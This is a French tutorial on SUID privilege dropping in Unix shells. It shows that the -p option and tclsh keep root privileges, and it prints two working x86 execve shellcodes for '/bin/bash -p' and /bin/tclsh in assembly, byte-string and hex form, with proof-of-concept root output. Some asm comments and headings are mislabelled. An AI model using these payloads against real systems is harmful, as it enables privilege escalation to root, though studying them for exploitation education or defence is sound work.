Shells UNIX ne transférant pas les droits SUID dans les shellcodes
Introduction
Les nouvelles versions des shells UNIX ne transfèrent plus les droits SUID par défaut. Cela peut être particulièrement embêtant lorsqu’on crée un shellcode qui fonctionne bien, mais qui ouvre un shell dans lequel nous n’avons pas les bons droits.
Voici un petit exemple :
[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K sept 1 11:56 .
drwxrwxr-x 4 user user 4,0K sept 1 11:56 ..
-rwsrwxrwx 1 root root 127K sept 1 11:56 challenge
-rwxrwxrwx 1 user user 254 sept 1 12:01 shellcode.raw
[user@dev]:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
[user@dev]:~$ ./challenge < shellcode.raw
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
Dans ce cas le shellcode que nous avons injecté dans le programme challenge
a bien permis d’ouvrir un shell, mais les droits n’ont pas été transférés au moment de l’ouverture du shell.
Nous allons voir pourquoi les droits SUID ne sont plus transférés sur les nouvelles versions des shells, et comment forcer le transfert de ces droits.
Que se passe-t-il
La plupart des nouveaux shells ne transfèrent plus les droits SUID par défaut pour des questions de sécurité. Cela n’empèche pas tout, mais complique le travail d’un attaquant voulant exploiter une application. Voyons quels shells sont affectés par ce comportement. Pour cela, j’ai copié tous les shells de ma machine dans un dossier :
$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K juin 7 11:56 .
drwxrwxr-x 4 user user 4,0K juin 7 11:56 ..
-rwxr-xr-x 1 user user 1,2M août 31 22:46 bash
-rwxr-xr-x 1 user user 127K août 31 22:46 dash
-rwxr-xr-x 1 user user 1,2M août 31 22:46 rbash
-rwxr-xr-x 1 user user 127K août 31 22:46 sh
-rwxr-xr-x 1 user user 15K août 31 22:46 tclsh
Puis j’ai donné les droits SUID root
à tous ces shells :
# chown root:root *; chmod 4777 *
# ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K juin 7 11:56 .
drwxrwxr-x 4 user user 4,0K juin 7 11:56 ..
-rwsrwxrwx 1 root root 1,2M août 31 22:46 bash
-rwsrwxrwx 1 root root 127K août 31 22:46 dash
-rwsrwxrwx 1 root root 1,2M août 31 22:46 rbash
-rwsrwxrwx 1 root root 127K août 31 22:46 sh
-rwsrwxrwx 1 root root 15K août 31 22:46 tclsh
Il suffit ensuite de les lancer un par un pour exécuter la commande id
et nous obtenons ces résultats :
Shell | Résultat de la commande |
---|---|
./bash -c 'id' |
uid=1000(user) gid=1000(user) groups=1000(user) |
./dash -c 'id' |
uid=1000(user) gid=1000(user) groups=1000(user) |
./rbash -c 'id' |
uid=1000(user) gid=1000(user) groups=1000(user) |
./sh -c 'id' |
uid=1000(user) gid=1000(user) groups=1000(user) |
./tclsh |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
Nous voyons ici que le seul shell qui transfère les droits SUID est le shell tclsh
. Cela nous sera utile dans la suite pour construire un shellcode pour ce shell.
Comment transférer les droits SUID
Pour forcer le transfert des droits SUID sur les nouvelles versions des shells, il est nécessaire de spécifier l’option -p
:
Shell | Résultat de la commande |
---|---|
./bash -p -c 'id' |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
./dash -p -c 'id' |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
./rbash -p -c 'id' |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
./sh -p -c 'id' |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
./tclsh |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
Shellcodes
Voici un shellcode qui réalise un execve
de /bin/bash -p
(tiré d’exploit-db). Il fonctionne très bien pour les exploitations de binaires :
; nasm -felf shellcode.asm; ld -m elf_i386 -s -o shellcode shellcode.o
global _start
section .text
_start:
mov al, 0xb ; syscall number
xor edx, edx
; Push "-p" argument to force SUID
push edx
push word 0x702d ; "p-"
mov ecx,esp ; save pointer
; Push "/bin/bash"
push edx ;
push 0x68 ; "hs"
push 0x7361622f ; "lct/"
push 0x6e69622f ; "nib/"
mov ebx,esp ; save pointer
; Passing all arguments
push edx ; char * null
push ecx ; char * args
push ebx ; char * program
; Call
mov ecx,esp ; char * args[]
int 0x80 ; syscall "execve"
Format binaire
Voici ce shellcode sous format binaire:
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
Format hexadécimal
Voici ce shellcode sous format hexadécimal:
6a0b58995266682d7089e1526a68682f626173682f62696e89e352515389e1cd80
Preuve de concept
Lorsque nous lançons ce shellcode, il réalise un appel à /bin/bash -p
et transfère bien les droits SUID comme prévu :
[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K août 31 22:27 .
drwxrwxr-x 4 user user 4,0K août 31 22:27 ..
-rwsrwxrwx 1 root root 4268 août 31 22:31 shellcode
[user@dev]:~$ ./shellcode
$ /bin/id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
Création d’un shellcode pour tclsh
Nous allons reprendre le shell tclsh
que nous avons vu plus haut.
Voici un shellcode qui réalise un execve
de /bin/tclsh
, tclsh
transfère les droits SUID par défaut sans options spécifiques.
; nasm -felf shellcode.asm; ld -m elf_i386 -s -o shellcode shellcode.o
global _start
section .text
_start:
mov al, 0xb ; syscall number
xor edx, edx
;
push edx ;
push word 0x6873 ; "hs"
push 0x6c63742f ; "lct/"
push 0x6e69622f ; "nib/"
mov ebx,esp ; save pointer
; Passing all arguments
push edx ; char * null
push edx ; char * args
push ebx ; char * program
; Call
mov ecx,esp ; char * args[]
int 0x80 ; syscall "execve"
Format hexadécimal
Voici ce shellcode sous format hexadécimal:
shellcode = "\xb0\x0b\x31\xd2\x52\x66\x68\x73\x68\x68\x2f\x74\x63\x6c\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x53\x89\xe1\xcd\x80";
Format hexadécimal
Voici ce shellcode sous format hexadécimal:
b00b31d25266687368682f74636c682f62696e89e352525389e1cd80
Preuve de concept
Tentons de lancer le shellcode tclsh
précédement créé :
[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K août 31 22:27 .
drwxrwxr-x 4 user user 4,0K août 31 22:27 ..
-rwsrwxrwx 1 root root 4268 août 31 22:46 shellcode
[user@dev]:~$ ./shellcode
% /bin/id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
Nous constatons que les droits SUID sont bien transférés dans le shell ! Mission accomplie
Références
- http://www.faqs.org/faqs/unix-faq/faq/part4/section-7.html
- https://en.wikipedia.org/wiki/Setuid#Security_impact
- https://linux.die.net/man/1/bash
- https://www.exploit-db.com/shellcodes/13697
- http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49
- https://unix.stackexchange.com/questions/451048/from-which-version-does-bash-drop-privileges